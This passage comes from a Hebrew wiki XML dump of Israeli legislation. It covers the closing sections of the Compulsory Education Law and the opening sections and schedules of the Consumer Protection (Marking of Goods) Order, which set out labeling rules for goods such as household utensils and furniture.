{{ח:תתת|(2)}} תלמיד שהיה רשום במוסד החינוך בשנת הלימודים החולפת, ולא נרשם לשנת הלימודים הקרובה באותו מוסד חינוך.
{{ח:תת|(ב)}} בסעיף זה –
{{ח:תת|סוג=הגדרה}} ”מנהל מחלקת חינוך“ – כהגדרתו {{ח:חיצוני|חוק הרשויות המקומיות (מנהל מחלקת חינוך)|בחוק הרשויות המקומיות (מנהל מחלקת חינוך), התשס״א–2001}};
{{ח:תת|סוג=הגדרה}} ”תלמיד“ – מי שזכאי לחינוך חינם לפי {{ח:פנימי|סעיף 6|סעיף 6}}.
{{ח:ת}} {{ח:הערה|פורסמו {{ח:חיצוני|תקנות לימוד חובה (כללי דיווח של מנהל מוסד חינוך)|תקנות לימוד חובה (כללי דיווח של מנהל מוסד חינוך), התשס״ה–2004}}.}}

{{ח:סעיף|12ב|איסור הרחקה לצמיתות בשל הישגים לימודיים|תיקון: תשס״א־3}}
{{ח:ת}} לא יורחק תלמיד, כהגדרתו {{ח:פנימי|סעיף 12א|בסעיף 12א}}, לצמיתות, ממוסד חינוך בשל הישגיו הלימודיים אלא בהתאם לכללים שקבע השר; אין בהוראות סעיף זה כדי לגרוע מהוראות {{ח:חיצוני|חוק זכויות התלמיד|חוק זכויות התלמיד, התשס״א–2000}}.
{{ח:ת}} {{ח:הערה|פורסמו {{ח:חיצוני|תקנות לימוד חובה (כללים להרחקת תלמיד לצמיתות ממוסד חינוך בשל הישגיו הלימודיים)|תקנות לימוד חובה (כללים להרחקת תלמיד לצמיתות ממוסד חינוך בשל הישגיו הלימודיים), התשס״ה–2004}}.}}

{{ח:סעיף|12ג|חובת דיווח על אלימות|תיקון: תשס״ו}}
{{ח:תת|(א)}} מנהל מוסד חינוך ידווח, על פי כללים שקבע השר, למי שהשר הסמיכו לענין זה מבין עובדי משרדו, על כל אירוע אלימות שהתרחש במוסד החינוך, שהוא אחד מאלה:
{{ח:תתת|(1)}} אירוע של אלימות גופנית בין עובד הוראה לבין תלמיד;
{{ח:תתת|(2)}} אירוע של אלימות גופנית בין תלמידים, שנגרמה בו חבלה.
{{ח:תת|(ב)}} מנהל מוסד חינוך ידווח על אירוע כאמור בסעיף קטן (א) מיד לאחר התרחשותו, וכן על תוצאות הטיפול באירוע, לרבות אמצעי משמעת שננקטו, עם סיום הטיפול כאמור.
{{ח:תת|(ג)}} בסעיף זה –
{{ח:תת|סוג=הגדרה}} ”מוסד חינוך“ – לרבות מוסד חינוך שלומדים בו תלמידים בכיתות י״א ו{{ח:הערה|־}}י״ב אשר חל עליו {{ח:חיצוני|חוק פיקוח על בתי ספר|חוק פיקוח על בתי ספר, התשכ״ט–1969}};
{{ח:תת|סוג=הגדרה}} ”תלמיד“ – מי שלומד במוסד חינוך.

{{ח:סעיף|12ד|הגבלת מספר התלמידים בלימודי מיומנויות היסוד|תיקון: תשס״ז, תשע״ג־2, תשע״ז, תשע״ז־2}}
{{ח:תת|(א)}} בלימודים בכיתת יסוד במוסד חינוך רשמי, שלומדים בה יותר מ־34 תלמידים בכיתה, יילמדו שעתיים לפחות מסך כל שעות הלימוד השבועיות של מיומנויות היסוד במסגרת לימודים שבה מספר התלמידים למורה אינו עולה על עשרים תלמידים.
{{ח:תת|(א1)}} על אף האמור בסעיף קטן (א), בלימודים בכיתה א׳ במוסד חינוך רשמי שהוא בעל ציון טיפוח 7–10 במדד הטיפוח, שלומדים בה עד 34 תלמידים בכיתה, תילמד שעה אחת לפחות מסך כל שעות הלימוד השבועיות של מיומנויות היסוד במסגרת לימודים שבה מספר התלמידים למורה אינו עולה על עשרים תלמידים; לעניין זה, ”מדד הטיפוח“ – מדד הטיפוח כפי שפורסם בחוזר המנהל הכללי של משרד החינוך.
{{ח:תת|(ב)}} בסעיף זה –
{{ח:תת|סוג=הגדרה}} ”כיתת יסוד“ – כיתה א׳ או ב׳;
{{ח:תת|סוג=הגדרה}} ”מיומנויות היסוד“ – מיומנויות הקריאה, הכתיבה והחשבון;
{{ח:תת|סוג=הגדרה}} ”תלמיד“ – מי שזכאי לחינוך חינם לפי הוראות {{ח:פנימי|סעיף 6|סעיף 6(א)}}.

{{ח:סעיף|12ה|אי־&lt;wbr&gt;נשיאה בשכר לימוד או שלילת השתתפות המדינה בתקציב מוסד חינוך בשל הזדהות עם טרור|תיקון: תשפ״ה}}
{{ח:תת|(א)}} על אף האמור {{ח:פנימי|סעיף 6|בסעיף 6(ג)}}, השר, או מי שהוא הסמיך לעניין זה, רשאי להורות כי אוצר המדינה לא יישא, זמנית או דרך קבע, בשכר הלימוד של תלמיד הלומד במוסד חינוך אחר, כולו או חלקו, אם הוכח להנחת דעתו כי באותו מוסד מתקיימים גילויי הזדהות עם מעשה טרור או עם ארגון טרור או תמיכה בהם שהנהלת מוסד החינוך ידעה או הייתה צריכה לדעת על קיומם; בסעיף זה, ”ארגון טרור“ ו”מעשה טרור“ – כהגדרתם {{ח:חיצוני|חוק המאבק בטרור|בחוק המאבק בטרור, התשע״ו–2016}}.
{{ח:תת|(ב)}} על אף האמור {{ח:פנימי|סעיף 10א|בסעיף 10א}}, השר, או מי שהוא הסמיך לעניין זה, רשאי להורות על שלילה זמנית או קבועה של השתתפות המדינה, באופן מלא או חלקי, בתקציב מוסד חינוך שניתנו לגביו הוראות פטור, אם הוכח להנחת דעתו כי באותו מוסד מתקיימים גילויי הזדהות עם מעשה טרור או עם ארגון טרור או תמיכה בהם שהנהלת מוסד החינוך ידעה או הייתה צריכה לדעת על קיומם.
{{ח:תת|(ג)}} החלטה כאמור בסעיף קטן (א) או (ב) תתקבל לאחר התייעצות עם מנהל המחוז המפקח על מוסד החינוך, והכול כפי שיקבע השר.
{{ח:תת|(ד)}} השר, או מי שהוא הסמיך לעניין זה, לא יפעיל את הסמכות הנתונה לו בסעיף קטן (א) או (ב) אלא לאחר שהודיע למוסד החינוך על הכוונה להפסיק את התקצוב ונתן לו הזדמנות להשמיע את טענותיו.
{{ח:תת|(ה)}} אין בהוראות סעיף זה כדי לגרוע מהוראות כל דין.

{{ח:סעיף|13|העברת סמכויות השר}}
{{ח:תת|(א)}} השר רשאי להעביר לאחר את הסמכויות המסורות לו על פי {{ח:פנימי|סעיף 4|סעיפים 4(ו)}} {{ח:פנימי|סעיף 5|ו־5(ב)}}, כולן או מקצתן.
{{ח:תת|(ב)}} הודעה על העברת סמכויות על פי סעיף זה תפורסם ברשומות.

{{ח:קטע2|פרק 6|פרק ששי: ביצוע}}

{{ח:סעיף|14|תפקידי מועצת החינוך|תיקון: תשי״ג־2, תשל״ח־3}}
{{ח:ת}} השר יוועץ בועד החינוך בטרם ישתמש בסמכות מן הסמכויות המסורות לו לפי חוק זה, חוץ מן הסמכויות המסורות לו לפי {{ח:פנימי|סעיף 4|סעיפים 4(ב)(3)}}, {{ח:פנימי|סעיף 4|4(ו)}}, {{ח:פנימי|סעיף 5|5(ב)}}, {{ח:פנימי|סעיף 6|6(ג)}}, {{ח:פנימי|סעיף 7|7(ב)}}, {{ח:פנימי|סעיף 8|8}} {{ח:פנימי|סעיף 13|ו־13}} וחוץ מן הסמכויות ליתן אישור ולקבוע שיעור תשלומים לפי {{ח:פנימי|סעיף 6|סעיף 6(ד)}}.

{{ח:סעיף|15|ביצוע ותקנות|תיקון: תשכ״ט־2}}
{{ח:תת|(א)}} השר ממונה על ביצוע חוק זה והוא רשאי להתקין תקנות בכל ענין הנוגע לביצועו.
{{ח:תת|(ב)}} השר רשאי לקבוע בתקנות חובת רישום בנוסף לחובות על־פי {{ח:פנימי|סעיף 3|סעיף 3}}, ולהסדירה בהתאם לאמור {{ח:חיצוני|חוק חינוך ממלכתי#סעיף 21|בסעיף 21 לחוק חינוך ממלכתי, תשי״ג–1953}}, ובלבד שהרישום ייעשה במוסד חינוך.
{{ח:ת}} {{ח:הערה|פורסמו {{ח:חיצוני|תקנות לימוד חובה וחינוך ממלכתי (רישום)|תקנות לימוד חובה וחינוך ממלכתי (רישום), תשי״ט–1959}}.}}
{{ח:ת}} {{ח:הערה|פורסמו {{ח:חיצוני|תקנות לימוד חובה (רישום לגני ילדים) (הוראת שעה)|תקנות לימוד חובה (רישום לגני ילדים), תשל״ח–1978}}.}}
{{ח:ת}} {{ח:הערה|פורסמו {{ח:חיצוני|תקנות לימוד חובה וחינוך ממלכתי (רישום נוסף)|תקנות לימוד חובה וחינוך ממלכתי (רישום נוסף), תשל״ח–1978}}.}}
{{ח:ת}} {{ח:הערה|פורסמו {{ח:חיצוני|תקנות לימוד חובה (חינוך חינם שלא במוסד חינוך רשמי)|תקנות לימוד חובה (חינוך חינם שלא במוסד חינוך רשמי), תשל״ח–1978}}.}}
{{ח:ת}} {{ח:הערה|פורסמו {{ח:חיצוני|תקנות לימוד חובה (כללי דיווח של מנהל מוסד חינוך)|תקנות לימוד חובה (כללי דיווח של מנהל מוסד חינוך), התשס״ה–2004}}.}}
{{ח:ת}} {{ח:הערה|פורסמו {{ח:חיצוני|תקנות לימוד חובה (מתן הוראת פטור לגבי מוסד חינוך ותקצובו) (הוראת שעה)|תקנות לימוד חובה (מתן הוראת פטור לגבי מוסד חינוך ותקצובו) (הוראת שעה), התשפ״ד–2024}}.}}

{{ח:סעיף|16|תחילת תוקף}}
{{ח:ת}} תקפו של חוק זה הוא מיום פרסומו ברשומות; אולם בתקופה שבין אותו יום ובין יום י״ג בניסן תש״י (31 במרס 1950) יבוצעו הוראות חוק זה רק במידה שיקבע השר בצו שיפורסם ברשומות.

{{ח:חתימות|נתקבל בכנסת ביום י״ח באלול תש״ט (12 בספטמבר 1949).}}
* '''ד. בן־גוריון'''&lt;br&gt;ראש הממשלה
* '''ז. שזר'''&lt;br&gt;שר החינוך והתרבות
* '''יוסף שפרינצק'''&lt;br&gt;יושב ראש הכנסת&lt;br&gt;ממלא מקום נשיא המדינה
{{ח:סוגר}}
{{ח:סוף}}
[[קטגוריה:בוט חוקים]]</text>
      <sha1>fpllky33p4hgnq38gyuw2dgzadt8ijq</sha1>
    </revision>
  </page>
  <page>
    <title>מקור:צו הגנת הצרכן (סימון טובין)</title>
    <ns>116</ns>
    <id>280151</id>
    <revision>
      <id>3020654</id>
      <parentid>2995208</parentid>
      <timestamp>2026-06-18T15:41:49Z</timestamp>
      <contributor>
        <username>Fuzzy</username>
        <id>29</id>
      </contributor>
      <minor />
      <origin>3020654</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="47437" sha1="kbyuvcsoas6gcivo7q8n7dkbowklzhd" xml:space="preserve">&lt;שם&gt; צו הגנת הצרכן (סימון טובין), התשמ&quot;ג-1983

&lt;מאגר תקן 2114677 קוד a163Y00000DuSNgQAN&gt;

&lt;מקור&gt; ((ק&quot;ת תשמ&quot;ג, 862|צו הגנת הצרכן (סימון טובין)|4465)); ((תשמ&quot;ד, 385|תיקון|4452)), ((1919|תיקון מס' 2|4661)); ((תשמ&quot;ה, 950|תיקון|4781)); ((תשמ&quot;ו, 266|תיקון מס' 2|4881)), ((550|תיקון מס' 3|4906)), ((726|תיקון מס' 4|4919)); ((תשמ&quot;ז, 210|תיקון מס' 5|4998)), ((330|תיקון מס' 6|4998)), ((660|תיקון מס' 7|5017)); ((תשמ&quot;ח, 106|תיקון מס' 8|5063)), ((801|תיקון מס' 9|5106)), ((924|תיקון מס' 10|5115)), ((1068|תיקון מס' 11|5128)); ((תשמ&quot;ט, 88|ת&quot;ט|5140)), ((207|תיקון מס' 12|5150)), ((207|תיקון מס' 10 [תשמ&quot;ח] (תיקון)|5150)), ((737|תיקון מס' 13|5182)), ((941|תיקון מס' 14|5191)), ((1246|תיקון מס' 15|5209)); ((תש&quot;ן, 200|ת&quot;ט|5237)), ((243|תיקון|5239)), ((942|תיקון מס' 2|5285)); ((תשנ&quot;ג, 812|תיקון|5522)); ((תשנ&quot;ד, 604|תיקון|5577)), ((1293|תיקון מס' 2|5619)); ((תשנ&quot;ה, 468|תיקון|5648)), ((1401|תיקון מס' 2|5678)), ((1594|תיקון מס' 3|5690)), ((1898|תיקון מס' 4|5704)); ((תשנ&quot;ו, 899|תיקון|5752)), ((900|תיקון מס' 2|5752)); ((תשנ&quot;ז, 217|תיקון|5799)), ((896|תיקון מס' 2|5838)), ((1245|תיקון מס' 3|5853)); ((תשנ&quot;ט, 35|תיקון|5932)), ((301|תיקון מס' 2|5948)); ((תשס&quot;א, 859|תיקון|6109)); ((תשס&quot;ב, 601|תיקון|6161)); ((תשס&quot;ד, 376|תיקון|6305)); ((תשס&quot;ה, 238|תיקון|6354)), ((909|תיקון מס' 2|6415)); ((תשס&quot;ז, 504|תיקון|6557)); ((תשס&quot;ח, 406|תיקון|6642)); ((תשע&quot;ד, 1584|תיקון|7405)); ((תשע&quot;ח, 2228|תיקון|8027)); ((תשע&quot;ט, 709|תיקון|8101)); ((תש&quot;ף, 565|תיקון|8343)).

&lt;מבוא&gt; בתוקף סמכותי לפי [[+|סעיף 17]] [[=החוק|לחוק הגנת הצרכן, התשמ&quot;א-1981]] (להלן - החוק), ולענין [[סעיף 10]] - [[+|סעיפים 5]], [[+|15]] [[+|ו-47]] [[לחוק הפיקוח על מצרכים ושירותים, התשי&quot;ח-1957]], אני מצווה לאמור:

@ 1. הגדרות (תיקון: תשמ&quot;ד-2, תשמ&quot;ו-2, תשנ&quot;ט, תשס&quot;א)
: בצו זה -
:- &quot;אריזה&quot; - עטיפה או מכל של טובין המיועדים למכירה לצרכן, בין אם הטובין נארזו בהם כולם או חלקם;
:- &quot;אריזה כוללת&quot; - אריזה המכילה מספר יחידות אריזה הנמכרות ביחד;
:- &quot;יחידת אריזה&quot; - אריזה המכילה יחידה אחת או אריזה המכילה מספר יחידות של אותם טובין שמקובל לשווקם ולמכרם ביחד;
:- &quot;ארץ הייצור&quot; - הארץ בה יוצרו או הורכבו הטובין המוגמרים;
:- &quot;יבואן&quot; - אדם שעסקו או חלק מעסקו לייבא טובין לשם מסחר;
:- &quot;יצרן&quot; - אדם העוסק בייצור טובין, בין בעצמו ובין על ידי אחרים או העוסק בעבודה מן העבודות הדרושות לתהליך הייצור או הדרושות לשם שינוי צורתם, טיבם או איכותם של טובין וכן אדם העוסק באריזתם של טובין או מזיגתם במכל;
:- &quot;מכל&quot; - פח, פחית, קופסה, תיבה, שק, שקית, בקבוק, צנצנת, שפופרת, ארגז, עטיפה וכל בית קיבול אחר המכיל טובין;
:- &quot;סוחר&quot; - אדם שעסקו או חלק מעסקו למכור טובין;
:- &quot;תיאור&quot; - תיאור של טובין למטרת מסחר או פרסומת הנעשה בכתב, בדפוס, בציור, בשרטוט, בסרט, בעל-פה, בשידור או בכל דרך אחרת;
:- &quot;תוצרת ישראל&quot; - טובין המיוצרים בישראל מחלקים העשויים בישראל או מחלקים מיובאים או מחלקים שמקצתם עשויים בישראל ומקצתם מיובאים;
:- &quot;מזון&quot; - דבר המיועד לצריכת אדם באכילה, בשתיה או בלעיסה לרבות חמרי מוצא ותוספות, למעט חומרים המשמשים ברפואה בלבד;
:- &quot;מען&quot; - ישוב, רחוב, מספר בית (לפי הנמצא) של הנמען או של עסקו; לענין זה, תא דואר בלבד לא ייחשב מען;
:- &quot;משווק&quot; - מוכר טובין לצרכן, שאינו יצרן, אך לרבות יבואן, סיטונאי, קמעונאי ורוכל;
:- &quot;סימון בן-קיימא&quot; - סימון המתקיים בשלמות וללא פגם עד גמר השימוש בטובין;
:- &quot;אזור&quot; - יהודה, השומרון וחבל עזה;
:- &quot;מצרך מוחדש&quot; - מוצר שהיה בשימוש הצרכן, הוחזר ליצרן או ליבואן, ונארז בידו מחדש לשם מכירתו.

@ 2. אופן סימון טובין (תיקון: תש&quot;ן-3, תשנ&quot;ד, תשס&quot;ה)
: (א) סימון טובין ייעשה בהדפסה, בהטבעה, בחריטה או בכל דרך אחרת על הטובין או אריזתם, למעט בכתב יד. לא ניתן לסמן על הטובין או על אריזתם, ייעשה הסימון על גבי תווית שתוצמד היטב לטובין או לאריזתם בהדבקה או בתפירה באופן שתמנע הסרתה בקלות.
: (א1) על אף האמור בסעיף קטן (א), טובין מסוג אחד שאינם ארוזים או שהם ארוזים באריזה שקופה, המוצגים למכירה בתפזורת, בתוך מכל או באזור מתוחם על גבי מדף וסימונם אחיד ומתייחס ליחידה בודדת, כגון ציוד משרדי, כלי בית, מוצרי סדקית וכיוצא באלה, למעט מוצרי טקסטיל והנעלה, יכול שיסומנו על גבי תווית או שלט צמוד למכל או למדף, שבו הם מונחים או בסמוך אליהם; אם מספר סוגי טובין מוצגים למכירה בתוך מכל או מדף, אופן הסימון יהיה כזה שניתן יהיה לשייך את פרטי הסימון, כאמור לעיל, לסוג הטובין המתאים.
: (א2) הוראת סעיף קטן (א1) לא תחול, אם קיימת חובת מתן הוראות שימוש או אזהרה, כאמור בצו זה או לפי כל דין.
: (ב) פרטי הסימון יהיו ברורים, קריאים ובני קיימא; כל מלה ופרט יצויינו בבהירות, באותיות לא קטנות ולא דחוסות, במקום הנראה לעין ובאופן שיקל על הצרכן לקרוא ולהבין את הסימון; על הסימון להיות בצבע השונה מצבע הרקע שעליו הוא מופיע.
: (ג) צבע הדפוס וחמרים אחרים המשמשים בסימון לא יפגעו בטיב הטובין.
: (ד) הסימון לא יטושטש על ידי איורים או חומר אחר כתוב, מודפס או מוטבע או כל סיבה אחרת.
: (ה) בסימון על אריזה -
:: (1) אם האריזה מורכבת ממספר שכבות, יהיה הסימון על השכבה החיצונית, אולם אם השכבה החיצונית עשויה חומר שקוף, מותר שהסימון יהיה מתחתיה ובלבד שיהיה קריא וברור מבעד לשכבה השקופה;
:: (2) אין חובה לסמן אריזה כוללת בפרטי הסימון הנדרשים בצו זה אם נתקיימו שני אלה:
::: (א) יחידות האריזה שבאריזה הכוללת סומנו בכל פרטי הסימון הנדרשים בצו זה;
::: (ב) האריזה הכוללת שקופה ומאפשרת לקרוא בבירור את פרטי הסימון של יחידות האריזה.
: (ו) בלי לגרוע מהאמור בסעיפים קטנים (א) עד (ה), על טובין מיובאים עם הוראות שימוש או אזהרה בלועזית יופיע גם תרגום מלא ומדויק בעברית של הוראות השימוש או האזהרה; גודל האותיות בעברית לא יקטן מגודל האותיות הלועזיות ויהיה מובלט באותו אופן.

@ 3. פרטי הסימון (תיקון: תשמ&quot;ח-3, תשמ&quot;ט-3, תשנ&quot;ה-3, תשנ&quot;ה-4)
: כל סימון יכלול פרטים אלה:
: (1) שם המצרך וכינויו המסחרי;
: (2) הסימן המסחרי הרשום אם ישנו כזה;
: (3) שם הדגם ומספר סידורי, אם ישנם;
: (4) היות המצרך מסוג ב' אם איכותו נמוכה מהרגיל או שהוא פגום;
: (4א) אם המצרך מוחדש - המלה &quot;מוחדש&quot; ותאריך החדשתו;
: (5) שם היצרן ומענו, ואם המצרך מיובא - שם היבואן ומענו;
: (6) ארץ הייצור;
: (7) כמות המצרך -
:: (א) הכמות תצויין ביחידות של מספר או ביחידות של אורך, שטח, נפח או משקל - הכל על פי השיטה המטרית;
:: (ב) בסוגי המצרכים המפורטים להלן יכלול הסימון את הכמות הנקיה (נטו) של המצרך באריזה, ביחידות משקל או ביחידות נפח:
::: (1) מצרך נוזלי יסומן ביחידות נפח -
:::: (א) מיליליטר (מ&quot;ל) למוצר שתכולתו קטנה מ-1000 מיליליטר;
:::: (ב) ליטרים למוצר שתכולתו 1000 מיליליטר או יותר;
::: (2) מצרך מוצק, מוצק למחצה או צמיג יסומן ביחידות משקל -
:::: (א) גרמים (ג') למוצר שמשקלו קטן מ-1000 גרם;
:::: (ב) קילוגרמים (ק&quot;ג) למוצר שמשקלו 1000 גרם או יותר;
::: (3) (((בוטל);))
::: (4) על אריזה כוללת יסומנו מספר יחידות האריזה שבה, התכולה הנקיה ליחידת אריזה, והתכולה הנקיה הכוללת;
::: (5) מצרך העלול לפחות במשקלו, בתנאי מסחר ושיווק רגילים, בגלל החסנה או הצגה למכירה, תצויין הכמות הפחותה ביותר שיש לשערה;
: (8) בקלטות - גם אורך הזמן בדקות בו ניתן לשמוע קלטת או לראותה במכשיר וידאו.

@ 4. שפת הסימון
: (א) הסימון על טובין מתוצרת הארץ יהיה בעברית אך מותר שיהיה גם בלועזית, בתנאי שהסימון בכל אחת מן השפות יכלול את כל הפרטים הנדרשים על פי דין, ויהיה זהה בתכנו ובצורתו; האותיות הלועזיות לא יהיו גדולות מהאותיות העבריות ולא יהיו מובלטות יותר בדרך אחרת.
: (ב) הסימון על טובין מיובאים יהיה בעברית או בעברית ובלועזית; מופיע סימון נוסף בלועזית, שאינו נדרש לפי צו זה, אין צורך בתרגומו לעברית.

@ 5. טובין המיוצרים ליצוא
: הוראות צו זה לא יחולו על טובין מתוצרת הארץ המיוצרים ליצוא בלבד ואינם משווקים בארץ.

@ 5א. טובין מתוצרת אזור (תיקון: תשמ&quot;ו-2)
: הוראות צו זה יחולו גם על טובין מתוצרת אזור.

@ 6. הוראות סימון מיוחדות
: על הטובין המפורטים [[בתוספת הראשונה]] יחולו גם הוראות הסימון המיוחדות המופיעות לגביהן [[בתוספת השניה]]; היתה הוראה [[שבתוספת השניה]] נוגדת או עומדת בסתירה להוראת סימון כללית, עדיפה ההוראה [[תוספת שניה|שבתוספת]].

@ 7. הוראות שימוש
: (א) לטובין המפורטים [[בתוספת השלישית]] יצורפו הוראות שימוש.
: (ב) הוראות השימוש יהיו בשפה העברית, במצרך מיובא יהיו הוראות השימוש תרגום מהימן של הוראות השימוש הלועזיות במידה שישנן.

@ 8. סימון לפני יבוא (תיקון: תשנ&quot;ז, תשנ&quot;ט, תשס&quot;ה, תשס&quot;ח, תשע&quot;ד, תשע&quot;ח)
: (א) הטובין המפורטים [[בתוספת הרביעית]] יסומנו כאמור בצו זה לפני ייבואם.
: (ב) (((בוטל).))
: (ג) (((בוטל).))

@ 9. פטור
: הוראות [[סעיף 17(א) לחוק]] והוראות צו זה, כולן או חלקן, לא יחולו על הטובין המפורטים [[בתוספת החמישית]].

@ 10. ביטול
: בטלים -
: (1) צו הפיקוח על מצרכים ושירותים (סימון כללי של מצרכים), התשל&quot;ו-1975;
: (2) צו הפיקוח על מצרכים ושירותים (סימון כלי בית), התשכ&quot;ה-1965;
: (3) צו הפיקוח על מצרכים ושירותים (סימון סיפונים), התשי&quot;ט-1959;
: (4) צו הפיקוח על מצרכים ושירותים (סימון רהיטים), התשכ&quot;ו-1965;
: (5) צו הפיקוח על מצרכים ושירותים (סימון מוצרי נייר וקרטון), התשכ&quot;ד-1964;
: (6) צו הפיקוח על מצרכים ושירותים (סימון מכונות תפירה), התשכ&quot;ד-1963;
: (7) צו הפיקוח על מצרכים ושירותים (סימון צבעים), התשכ&quot;ו-1966;
: (8) צו הפיקוח על מצרכים ושירותים (סימון הקלטות), התשל&quot;ה-1975;
: (9) צו הפיקוח על מצרכים ושירותים (סימון עטים), התשמ&quot;ב-1982;
: (10) צו הפיקוח על מצרכים ושירותים (סימון עפרונות, פסטלים ואריזותיהם), התש&quot;ם-1980;
: (11) צו הפיקוח על מצרכים ושירותים (טמפונים), התשל&quot;ח-1978;
: (12) צו הפיקוח על מצרכים ושירותים (סימון מוצרי הלבשה), התשכ&quot;ג-1963;
: (13) צו הפיקוח על מצרכים ושירותים (סימון גרביים), התשכ&quot;ג-1963;
: (14) צו הפיקוח על מצרכים ושירותים (סימון מנעלים), התשכ&quot;ה-1965;
: (15) צו הפיקוח על מצרכים ושירותים (סימון ארנקים, ילקוטים וחגורות), התשל&quot;ו-1976;
: (16) צו הפיקוח על מצרכים ושירותים (סימון שטיחי טפטינג), התשל&quot;ז-1977;
: (17) צו הפיקוח על מצרכים ושירותים (סימון צנצנת זכוכית), התשכ&quot;ה-1965;
: (18) צו הפיקוח על מצרכים ושירותים (סימון סרטי צילום), התשל&quot;ד-1973.

@ 11. תחילה
: תחילתו של צו זה 90 ימים מיום פרסומו.

=== תוספת ראשונה  ===
==== ((([[סעיף 6]]))) ====

@ 1. : [[סעיף 1 תוספת שניה|כלי בית]]
@ 2. (תיקון: תשס&quot;ה) : (((נמחק)))
@ 3. : [[סעיף 3 תוספת שניה|רהיטים]]
@ 4. : [[סעיף 4 תוספת שניה|מוצרי נייר וקרטון]]
@ 5. (תיקון: תשס&quot;ה) : (((נמחק)))
@ 6. : [[סעיף 6 תוספת שניה|צבעים]]
@ 7. (תיקון: תשס&quot;ה) : (((נמחק)))
@ 8. (תיקון: תשס&quot;ה) : (((נמחק)))
@ 9. (תיקון: תשס&quot;ה) : (((נמחק)))
@ 10. : [[סעיף 10 תוספת שניה|מוצרי הלבשה]]
@ 11. (תיקון: תשס&quot;ה) : (((נמחק)))
@ 12. (תיקון: תשנ&quot;ו) : [[סעיף 12 תוספת שניה|שקיות פוליאתילן]]
@ 13. : [[סעיף 13 תוספת שניה|תיקים]]
@ 14. (תיקון: תשס&quot;ה) : (((נמחק)))
@ 15. (תיקון: תשס&quot;ה) : (((נמחק)))
@ 16. (תיקון: תשמ&quot;ה, תשנ&quot;ג, תשנ&quot;ה-2, תשס&quot;ה) : (((נמחק)))
@ 17. (תיקון: תשס&quot;ד) : [[סעיף 17 תוספת שניה|מוצרי טבק]]
@ 18. (תיקון: תשס&quot;ז) : [[סעיף 18 תוספת שניה|כלי מיטה ומגבת]]
@ 19. (תיקון: תשס&quot;ח) : [[סעיף 19 תוספת שניה|משחקי מחשב]]

=== תוספת שניה ===
==== ((([[סעיף 6]]))) ====

@ 1. כלי בית (תיקון: תשס&quot;ה)
: (א) בסעיף זה, &quot;כלי בית&quot; - כלי מיטלטל, למעט כלי פטור, המיועד להכיל אחד מאלה:
:: (1) מזון, משקה וכיוצא בהם - בעת הכנתם, חימומם, בישולם, אפייתם, החזקתם, הגשתם או צריכתם;
:: (2) חמרים, לרבות נוזלים, לצרכי ניקוי, רחצה או כביסה;
:: (3) פסולת ביתית.
:: &quot;כלי פטור&quot; - כלי מיטלטל העשוי כסף או זהב או המצופה כסף או זהב, וכן כלי מיטלטל המשמש אריזה למצרך לצורך מסחר או המופעל על ידי מנוע חשמלי או שמותקן בו גוף חימום חשמלי;
:: &quot;קרמיקה&quot; - לרבות חרס או חרסינה.
: (ב) בכלי בית יצוינו פרטים כמפורט להלן:
:: (1) סוג החומר, כגון: קרמיקה, נירוסטה, אמייל;
:: (2) מידות וקיבול בליטרים, למעט כלי בית שקיבולו אינו עולה על ¹⁄₂ ליטר;
:: (3) כל תכונה בכלי הבית המחייבת שימוש או טיפול בדרך מיוחדת, כדי למנוע פגיעה למשתמש בו או לכלי הבית, תוך שימוש רגיל או טיפול רגיל.
: (ג) בכלי בית שאינו עשוי מתכת יצויינו פרטים כמפורט להלן:
:: (1) בכלי בית מקרמיקה או מזכוכית שאין בהם פגם - המלים &quot;סוג א'&quot;; ובלבד שלא יצויינו המלים &quot;סוג א'&quot; על צלחת מקרמיקה אם המרווח בין שפת הצלחת לבין המישור שעליו היא מונחת כשהיא הפוכה עולה בנקודה כלשהי על 2% מקטרה החיצוני הגדול ביותר, או אם ההפרש בין קטרה החיצוני הגדול ביותר של הצלחת לבין קטרה החיצוני הקטן ביותר עולה על 2% מארכם הממוצע של אותם שני הקטרים, או אם שטחה העליון של הצלחת אינו חלק, אינו מבריק או אינו נקי מבועות;
:: (2) בכלי בית שאין לציין בו המלים &quot;סוג א'&quot; כאמור בפסקת משנה (1) ובכלי בית שאינו עשוי מתכת ויש בו פגם כלשהו יצויינו המלים &quot;סוג ב'&quot; או &quot;סוג ג'&quot;.

@ 2. (תיקון: תשס&quot;ה) : (((בוטל).))

@ 3. רהיטים (תיקון: תשמ&quot;ו-3, תשנ&quot;ה, תשס&quot;ה, תש&quot;ף)
: (א) בסעיף זה -
::- &quot;רהיט&quot; - ארון, כוננית, מדף, מזנון, שולחן, כסא, כורסה, ספסל, שרפרף, מיטה, ספה, מזרן, תיבה או קולב, המיוצרים בסדרות, בין אם הם מיטלטלים ובין אם הם מיועדים להתקנה בבנין או במקום אחר, והנמכרים בתצוגה, בבית העסק או בנקודת מכירה;
::- &quot;רהיט מתכת&quot; - רהיט עשוי כולו או בעיקרו מתכת;
::- &quot;רהיט עץ&quot; - רהיט עשוי כולו או בעיקרו עץ;
::- &quot;רהיט פלסטי&quot; - רהיט עשוי משרפים פלסטיים;
::- &quot;רהיט משולב&quot; - רהיט עשוי מכמה חומרי גלם;
::- &quot;רהיט מרופד&quot; - רהיט עשוי משלד ומריפוד;
::- &quot;מזרן&quot; - מצע שפנימיותו עשויה פלסטיק מוקצף, גומי מוקצף, או חומרים אחרים, עם קפיצים או ללא קפיצים.
: (ב) בסימון רהיט עץ יצוינו גם הפרטים הבאים:
:: (1) סוג העץ שממנו עשויים החלקים העיקריים, כגון עץ מסיבי, לבידים, לוח עץ עשוי שבבים, מ.ד.פ.; עשוי חלק כאמור מעץ גושני - יצוין גם שם העץ; עשוי חלק כאמור מלביד לוחות שבבים או מ.ד.פ - יצוין גם עוביו;
:: (2) סוג הציפוי של החלק החיצוני של הרהיט, כגון לביד, פורניר, מלמין, קילוף, פורמאיקה, נייר, או כל חומר אחר; אם הציפוי עשוי פורניר - יצוין גם שם העץ ממנו הוא עשוי;
:: (3) סוג הגימור לכל חלק חיצוני עיקרי של הרהיט, כגון פוליטורה, פוליאסטר, לכה, צבע פלסטי, צבע שמן או כל גימור אחר.
: (ג) בסימון רהיט מתכת יצוינו גם הפרטים הבאים:
:: (1) סוג המתכת שממנה עשוי הרהיט;
:: (2) החומר או החומרים שמהם עשויים החלקים הלא-מתכתיים של הרהיט, וברהיט מרופד - גם החומר ממנו עשוי בד הריפוד ותוכו של הריפוד;
:: (3) סוג הציפוי של המתכת, וברהיט צבוע - גם סוג הצבע ומספר שכבותיו.
: (ד) (((בוטל).))
